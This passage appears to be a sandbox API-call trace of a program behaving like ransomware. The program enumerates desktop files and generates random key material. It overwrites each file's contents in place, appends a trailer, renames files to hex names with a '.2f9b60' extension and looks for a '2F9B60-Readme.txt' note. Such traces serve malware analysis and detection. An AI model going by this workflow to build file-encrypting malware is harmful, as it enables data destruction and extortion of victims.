= 0x1368 [0099.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202af460 [0099.061] wcscpy (in: _Dest=0x202af460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH" [0099.061] wcscat (in: _Dest=0x202af460, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" [0099.061] wcscat (in: _Dest=0x202af460, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\*" [0099.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59140 [0099.061] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\*", lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x716bea70, ftCreationTime.dwHighDateTime=0x1d5e3f8, ftLastAccessTime.dwLowDateTime=0xedd78fe0, ftLastAccessTime.dwHighDateTime=0x1d5e67f, ftLastWriteTime.dwLowDateTime=0xedd78fe0, ftLastWriteTime.dwHighDateTime=0x1d5e67f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d190 [0099.062] wcscmp (_String1=".", _String2=".") returned 0 [0099.062] FindNextFileW (in: hFindFile=0x1cd9d190, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x716bea70, ftCreationTime.dwHighDateTime=0x1d5e3f8, ftLastAccessTime.dwLowDateTime=0xedd78fe0, ftLastAccessTime.dwHighDateTime=0x1d5e67f, ftLastWriteTime.dwLowDateTime=0xedd78fe0, ftLastWriteTime.dwHighDateTime=0x1d5e67f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.062] wcscmp (_String1="..", _String2=".") returned 1 [0099.062] wcscmp (_String1="..", _String2="..") returned 0 [0099.062] FindNextFileW (in: hFindFile=0x1cd9d190, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa58053e0, ftCreationTime.dwHighDateTime=0x1d5dd5f, ftLastAccessTime.dwLowDateTime=0xb3414280, ftLastAccessTime.dwHighDateTime=0x1d5d866, ftLastWriteTime.dwLowDateTime=0xb3414280, ftLastWriteTime.dwHighDateTime=0x1d5d866, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="64DKrBlnbn.mkv", cAlternateFileName="64DKRB~1.MKV")) returned 1 [0099.062] wcscmp (_String1="64DKrBlnbn.mkv", _String2=".") returned 1 [0099.062] wcscmp (_String1="64DKrBlnbn.mkv", _String2="..") returned 1 [0099.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b08d0 [0099.062] wcscpy (in: _Dest=0x202b08d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH" [0099.062] wcscat (in: _Dest=0x202b08d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" [0099.062] wcscat (in: _Dest=0x202b08d0, _Source="64DKrBlnbn.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\64DKrBlnbn.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\64DKrBlnbn.mkv" [0127.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b08d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xacc [0127.677] FindNextFileW (in: hFindFile=0x1cd9d190, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb525dd0, ftCreationTime.dwHighDateTime=0x1d5e2ab, ftLastAccessTime.dwLowDateTime=0xb810cb0, ftLastAccessTime.dwHighDateTime=0x1d5de7e, ftLastWriteTime.dwLowDateTime=0xb810cb0, ftLastWriteTime.dwHighDateTime=0x1d5de7e, nFileSizeHigh=0x0, nFileSizeLow=0x8ec7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EU2PMMMTgc8C.mkv", cAlternateFileName="EU2PMM~1.MKV")) returned 1 [0127.677] wcscmp (_String1="EU2PMMMTgc8C.mkv", _String2=".") returned 1 [0127.677] wcscmp (_String1="EU2PMMMTgc8C.mkv", _String2="..") returned 1 [0127.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7add40 [0127.678] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH" [0127.678] wcscat (in: _Dest=0x1b7add40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" [0127.678] wcscat (in: _Dest=0x1b7add40, _Source="EU2PMMMTgc8C.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\EU2PMMMTgc8C.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\EU2PMMMTgc8C.mkv" [0127.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7add40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d0 [0127.679] FindNextFileW (in: hFindFile=0x1cd9d190, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eff7400, ftCreationTime.dwHighDateTime=0x1d5e813, ftLastAccessTime.dwLowDateTime=0xe008ce60, ftLastAccessTime.dwHighDateTime=0x1d5dbfd, ftLastWriteTime.dwLowDateTime=0xe008ce60, ftLastWriteTime.dwHighDateTime=0x1d5dbfd, nFileSizeHigh=0x0, nFileSizeLow=0x4c76, dwReserved0=0x0, dwReserved1=0x0, cFileName="JWEd48rw723E5iQU2J1Q.png", cAlternateFileName="JWED48~1.PNG")) returned 1 [0127.679] wcscmp (_String1="JWEd48rw723E5iQU2J1Q.png", _String2=".") returned 1 [0127.679] wcscmp (_String1="JWEd48rw723E5iQU2J1Q.png", _String2="..") returned 1 [0127.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861800 [0127.679] wcscpy (in: _Dest=0x1b861800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH" [0127.679] wcscat (in: _Dest=0x1b861800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\" [0127.679] wcscat (in: _Dest=0x1b861800, _Source="JWEd48rw723E5iQU2J1Q.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yj8bo78M6HJ69eKxDdFH\\JWEd48rw723E5iQU2J1Q.png" [0127.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d4 [0127.680] FindNextFileW (in: hFindFile=0x1cd9d190, lpFindFileData=0x1ce59140 | out: lpFindFileData=0x1ce59140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eff7400, ftCreationTime.dwHighDateTime=0x1d5e813, ftLastAccessTime.dwLowDateTime=0xe008ce60, ftLastAccessTime.dwHighDateTime=0x1d5dbfd, ftLastWriteTime.dwLowDateTime=0xe008ce60, ftLastWriteTime.dwHighDateTime=0x1d5dbfd, nFileSizeHigh=0x0, nFileSizeLow=0x4c76, dwReserved0=0x0, dwReserved1=0x0, cFileName="JWEd48rw723E5iQU2J1Q.png", cAlternateFileName="JWED48~1.PNG")) returned 0 [0127.680] FindClose (in: hFindFile=0x1cd9d190 | out: hFindFile=0x1cd9d190) returned 1 [0127.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59140) returned 1 [0127.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af460) returned 1 [0127.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 Thread: id = 802 os_tid = 0x136c [0099.063] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z1qSsPN-GxUaXF.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z1qsspn-gxuaxf.flv")) returned 0x20 [0099.063] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z1qSsPN-GxUaXF.flv", dwFileAttributes=0x20) returned 1 [0099.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z1qSsPN-GxUaXF.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z1qsspn-gxuaxf.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1508 [0099.064] GetFileSizeEx (in: hFile=0x1508, lpFileSize=0x2353f7c0 | out: lpFileSize=0x2353f7c0*=16345) returned 1 [0099.064] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x3fd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.064] ReadFile (in: hFile=0x1508, lpBuffer=0x2353f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2353f788, lpOverlapped=0x0 | out: lpBuffer=0x2353f740*, lpNumberOfBytesRead=0x2353f788*=0x4, lpOverlapped=0x0) returned 1 [0099.065] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0099.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0099.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0099.065] NtQuerySystemTime (in: CurrentTime=0x2353f680 | out: CurrentTime=0x2353f680*=132462177045898000) returned 0x0 [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x36215adb [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x41cc435d [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x67f81e7f [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0xd27ebdd [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x4341b317 [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x7083f59d [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x492084aa [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x4f6c3bc7 [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x7387331d [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x1e0e5929 [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x7263a7c [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x1f244983 [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x7aba5f04 [0099.065] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x203ccb88 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x3719c97d [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x46e1fbb3 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x126e0c02 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x44647dc4 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0xe140882 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x59ebe314 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x39460ce8 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x1772e526 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x7951ba8 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x13a24732 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x42202d67 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x3ca306bb [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x7ce18141 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x59621f75 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x27485d45 [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x1bff5b0c [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x719ba6aa [0099.066] RtlRandomEx (in: Seed=0x2353f670 | out: Seed=0x2353f670) returned 0x524a4e [0099.073] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.073] ReadFile (in: hFile=0x1508, lpBuffer=0x1cd7c930, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2353f6e0, lpOverlapped=0x0 | out: lpBuffer=0x1cd7c930*, lpNumberOfBytesRead=0x2353f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0099.074] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0099.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0099.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0099.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261730) returned 1 [0099.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd80540 [0099.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0099.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0099.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0099.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0099.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0099.074] WriteFile (in: hFile=0x1508, lpBuffer=0x1cd80540*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2353f6e0, lpOverlapped=0x0 | out: lpBuffer=0x1cd80540*, lpNumberOfBytesWritten=0x2353f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd80540) returned 1 [0100.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd7c930) returned 1 [0100.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fcb0 [0100.928] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.928] WriteFile (in: hFile=0x1508, lpBuffer=0x167940*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2353f790, lpOverlapped=0x0 | out: lpBuffer=0x167940*, lpNumberOfBytesWritten=0x2353f790*=0x116, lpOverlapped=0x0) returned 1 [0101.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0101.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869cc0 [0101.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0101.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a420) returned 1 [0101.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85a420 [0101.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0101.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0101.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0101.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0101.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0101.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9c190 [0101.841] sprintf (in: _Dest=0x1cd9c190, _Format="%c%c" | out: _Dest="6e") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c192, _Format="%c%c" | out: _Dest="f4") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c194, _Format="%c%c" | out: _Dest="ca") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c196, _Format="%c%c" | out: _Dest="86") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c198, _Format="%c%c" | out: _Dest="90") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c19a, _Format="%c%c" | out: _Dest="86") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c19c, _Format="%c%c" | out: _Dest="e4") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c19e, _Format="%c%c" | out: _Dest="ef") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c1a0, _Format="%c%c" | out: _Dest="b5") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c1a2, _Format="%c%c" | out: _Dest="dc") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c1a4, _Format="%c%c" | out: _Dest="e2") returned 2 [0101.841] sprintf (in: _Dest=0x1cd9c1a6, _Format="%c%c" | out: _Dest="a2") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1a8, _Format="%c%c" | out: _Dest="3a") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1aa, _Format="%c%c" | out: _Dest="50") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1ac, _Format="%c%c" | out: _Dest="c9") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1ae, _Format="%c%c" | out: _Dest="db") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1b0, _Format="%c%c" | out: _Dest="76") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1b2, _Format="%c%c" | out: _Dest="5c") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1b4, _Format="%c%c" | out: _Dest="f0") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1b6, _Format="%c%c" | out: _Dest="d2") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1b8, _Format="%c%c" | out: _Dest="ff") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1ba, _Format="%c%c" | out: _Dest="f6") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1bc, _Format="%c%c" | out: _Dest="67") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1be, _Format="%c%c" | out: _Dest="8f") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1c0, _Format="%c%c" | out: _Dest="df") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1c2, _Format="%c%c" | out: _Dest="74") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1c4, _Format="%c%c" | out: _Dest="5d") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1c6, _Format="%c%c" | out: _Dest="1a") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1c8, _Format="%c%c" | out: _Dest="84") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1ca, _Format="%c%c" | out: _Dest="21") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1cc, _Format="%c%c" | out: _Dest="12") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1ce, _Format="%c%c" | out: _Dest="85") returned 2 [0101.842] sprintf (in: _Dest=0x1cd9c1d0, _Format="%c%c" | out: _Dest="bf") returned 2 [0101.843] sprintf (in: _Dest=0x1cd9c1d2, _Format="%c%c" | out: _Dest="a5") returned 2 [0101.843] sprintf (in: _Dest=0x1cd9c1d4, _Format="%c%c" | out: _Dest="e8") returned 2 [0101.843] sprintf (in: _Dest=0x1cd9c1d6, _Format="%c%c" | out: _Dest="e4") returned 2 [0101.843] RtlInitAnsiString (in: DestinationString=0x2353f808, SourceString="6ef4ca869086e4efb5dce2a23a50c9db765cf0d2fff6678fdf745d1a84211285bfa5e8e4" | out: DestinationString="6ef4ca869086e4efb5dce2a23a50c9db765cf0d2fff6678fdf745d1a84211285bfa5e8e4") [0101.843] RtlAnsiStringToUnicodeString (in: DestinationString=0x2353f7d8, SourceString="6ef4ca869086e4efb5dce2a23a50c9db765cf0d2fff6678fdf745d1a84211285bfa5e8e4", AllocateDestinationString=1 | out: DestinationString="6ef4ca869086e4efb5dce2a23a50c9db765cf0d2fff6678fdf745d1a84211285bfa5e8e4") returned 0x0 [0101.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1af0 [0101.843] wcscat (in: _Dest=0x20509720, _Source="6ef4ca869086e4efb5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ef4ca869086e4efb5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ef4ca869086e4efb5" [0101.843] wcscat (in: _Dest=0x20509720, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ef4ca869086e4efb5.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ef4ca869086e4efb5.2f9b60" [0101.843] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ef4ca869086e4efb5.2f9b60", NtPathName=0x2353f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ef4ca869086e4efb5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050b8a0 [0109.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b8a0) returned 1 [0109.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98530) returned 1 [0109.029] NtQueryInformationFile (in: FileHandle=0x1508, IoStatusBlock=0x2353f818, FileInformation=0x2353f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2353f818, FileInformation=0x2353f828) returned 0x0 [0109.029] NtSetInformationFile (FileHandle=0x1508, IoStatusBlock=0x2353f818, FileInformation=0x2353f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509720) returned 1 [0109.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1af0) returned 1 [0109.054] FlushFileBuffers (hFile=0x1508) returned 1 [0109.056] CloseHandle (hObject=0x1508) returned 1 [0109.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b866e40 [0109.057] wcscpy (in: _Dest=0x1b866e40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.057] wcscat (in: _Dest=0x1b866e40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.057] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866e40) returned 1 [0109.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 Thread: id = 803 os_tid = 0x1370 [0099.076] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z3avtzwGtL-mnhni.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z3avtzwgtl-mnhni.wav")) returned 0x20 [0099.076] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z3avtzwGtL-mnhni.wav", dwFileAttributes=0x20) returned 1 [0099.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\z3avtzwGtL-mnhni.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z3avtzwgtl-mnhni.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x150c [0099.076] GetFileSizeEx (in: hFile=0x150c, lpFileSize=0x2294fca0 | out: lpFileSize=0x2294fca0*=34870) returned 1 [0099.076] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x8832, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.076] ReadFile (in: hFile=0x150c, lpBuffer=0x2294fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2294fc68, 